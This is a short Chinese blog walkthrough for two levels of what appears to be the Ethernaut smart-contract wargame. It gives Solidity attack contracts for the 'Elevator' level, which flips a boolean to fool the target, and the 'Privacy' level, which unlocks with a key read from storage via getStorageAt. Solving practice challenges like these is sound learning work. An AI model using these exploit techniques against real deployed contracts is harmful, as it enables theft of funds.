# 11.12

By [hujiawei](https://paragraph.com/@hujiawei) · 2022-04-16

---

测试11
----

1.在[remix.ethereum.org](http://remix.ethereum.org) 中新建，命名为`Eth11.sol` .复制11题目的源代码并且Compile。

2.新建另一个文件 ，粘贴以下代码：

`// SPDX-License-Identifier: MIT`

`pragma solidity ^0.6.0;`

`import './Eth11.sol';` `contract ElevatorAttack {    bool public toggle = true;    Elevator public target;`     `constructor(address _targetAddress) public {        target = Elevator(_targetAddress);    }`     `function isLastFloor(uint) public returns(bool) {        toggle = !toggle;        return toggle;    }`     `function setTop(uint _floor) public {        target.goTo(_floor);    }}`

Compile 这个合约。

部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。

测试12
----

1.在[remix.ethereum.org](http://remix.ethereum.org) 中新建，命名为`Eth12.sol` .复制11题目的源代码并且Compile。

2.新建另一个文件 ，粘贴以下代码：

`// SPDX-License-Identifier: MIT`

`pragma solidity ^0.6.0;`

`import './Eth12.sol';` `contract PrivacyAttack {    Privacy target;`     `constructor(address _targetAddress) public {        target = Privacy(_targetAddress);    }`     `function unlock(bytes32 _slotValue) public {        bytes16 key = bytes16(_slotValue);        target.unlock(key);    }}`

Compile 这个合约。

部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。

钱包确认后，在谷歌浏览器开发者工具中输入：

`await web3.eth.getStorageAt(contract.address, 5, console.log)`

复制回车后得到的结果（单引号内的字符串）粘贴到下图位置：

![](https://storage.googleapis.com/papyrus_images/c9eea48bf0c5f3d895c4993074038bf715c985c0bd0a282dbf19ce9e59690d83.png)

然后点击unlock，待钱包确认后提交测试，进入下一个测试。

---

*Originally published on [hujiawei](https://paragraph.com/@hujiawei/11-12)*
